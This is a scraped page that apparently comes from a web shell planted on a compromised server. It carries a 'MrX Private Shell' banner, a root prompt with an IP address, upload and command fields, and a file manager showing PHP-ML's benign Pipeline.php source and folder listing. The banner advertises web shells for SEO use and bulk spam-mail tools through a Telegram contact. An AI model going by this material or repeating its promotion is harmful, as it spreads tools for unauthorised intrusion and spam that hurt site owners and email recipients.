__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
<?php

declare(strict_types=1);

namespace Phpml;

use Phpml\Exception\InvalidOperationException;

class Pipeline implements Estimator, Transformer
{
    /**
     * @var Transformer[]
     */
    private $transformers = [];

    /**
     * @var Estimator|null
     */
    private $estimator;

    /**
     * @param Transformer[] $transformers
     */
    public function __construct(array $transformers, ?Estimator $estimator = null)
    {
        $this->transformers = array_map(static function (Transformer $transformer): Transformer {
            return $transformer;
        }, $transformers);
        $this->estimator = $estimator;
    }

    /**
     * @return Transformer[]
     */
    public function getTransformers(): array
    {
        return $this->transformers;
    }

    public function getEstimator(): ?Estimator
    {
        return $this->estimator;
    }

    public function train(array $samples, array $targets): void
    {
        if ($this->estimator === null) {
            throw new InvalidOperationException('Pipeline without estimator can\'t use train method');
        }

        foreach ($this->transformers as $transformer) {
            $transformer->fit($samples, $targets);
            $transformer->transform($samples, $targets);
        }

        $this->estimator->train($samples, $targets);
    }

    /**
     * @return mixed
     */
    public function predict(array $samples)
    {
        $this->transform($samples);

        if ($this->estimator === null) {
            throw new InvalidOperationException('Pipeline without estimator can\'t use predict method');
        }

        return $this->estimator->predict($samples);
    }

    public function fit(array $samples, ?array $targets = null): void
    {
        foreach ($this->transformers as $transformer) {
            $transformer->fit($samples, $targets);
            $transformer->transform($samples, $targets);
        }
    }

    public function transform(array &$samples, ?array &$targets = null): void
    {
        foreach ($this->transformers as $transformer) {
            $transformer->transform($samples, $targets);
        }
    }
}

Filemanager

Name Type Size Permission Actions
Association Folder 0755
Classification Folder 0755
Clustering Folder 0755
CrossValidation Folder 0755
Dataset Folder 0755
DimensionReduction Folder 0755
Exception Folder 0755
FeatureExtraction Folder 0755
FeatureSelection Folder 0755
Helper Folder 0755
Math Folder 0755
Metric Folder 0755
NeuralNetwork Folder 0755
Preprocessing Folder 0755
Regression Folder 0755
SupportVectorMachine Folder 0755
Tokenization Folder 0755
Estimator.php File 223 B 0644
FeatureUnion.php File 2 KB 0644
IncrementalEstimator.php File 178 B 0644
ModelManager.php File 1.3 KB 0644
Pipeline.php File 2.1 KB 0644
Transformer.php File 356 B 0644
Filemanager